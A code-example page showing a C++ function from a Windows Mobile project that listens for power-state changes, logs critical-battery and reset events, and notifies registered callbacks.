コード例 #1
0
ファイル: Device.cpp プロジェクト: sweetwood/core-winmobile
DWORD WINAPI PowerStateNotifier(LPVOID lpParam) {
    Device *deviceObj = Device::self();
    Log logInfo;
    HANDLE hQueue, hIdle;

    DWORD dwRet, dwRead = 0, dwFlags = 0;
    POWER_BROADCAST *powerBroad;
    BYTE bd[sizeof(POWER_BROADCAST) + (MAX_PATH + 1) * sizeof(WCHAR)];

    powerBroad = (POWER_BROADCAST *)bd;
    //SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
    hQueue = (HANDLE)lpParam;
    hIdle = deviceObj->getIdleEvent();

    LOOP {
        dwRet = WaitForSingleObject(hQueue, INFINITE);

        if (bResetStop) {
            DBG_TRACE(L"Debug - Device.cpp - PowerStateNotifier() thread closing\n", 1, FALSE);
            return 0;
        }

        if (ReadMsgQueue(hQueue, powerBroad, sizeof(bd), &dwRead, 1, &dwFlags)) {
            if (powerBroad->Message & PBT_TRANSITION) {
                switch (powerBroad->Flags) {
                //case POWER_STATE_OFF:
                //	logInfo.WriteLogInfo(L"Power off");
                //	break;

                case POWER_STATE_CRITICAL:
                    logInfo.WriteLogInfo(L"Phone is turning off, battery level critical");
                    break;

                case POWER_STATE_RESET:
                    logInfo.WriteLogInfo(L"Reset");
                    break;

                default:
                    break;
                }

                // Avvertiamo il thread che il powerstate e' cambiato
                SetEvent(hIdle);
            }
        }

        // Richiama tutte le callback registrate
        deviceObj->CallRegisteredCallbacks(powerBroad);
    }
}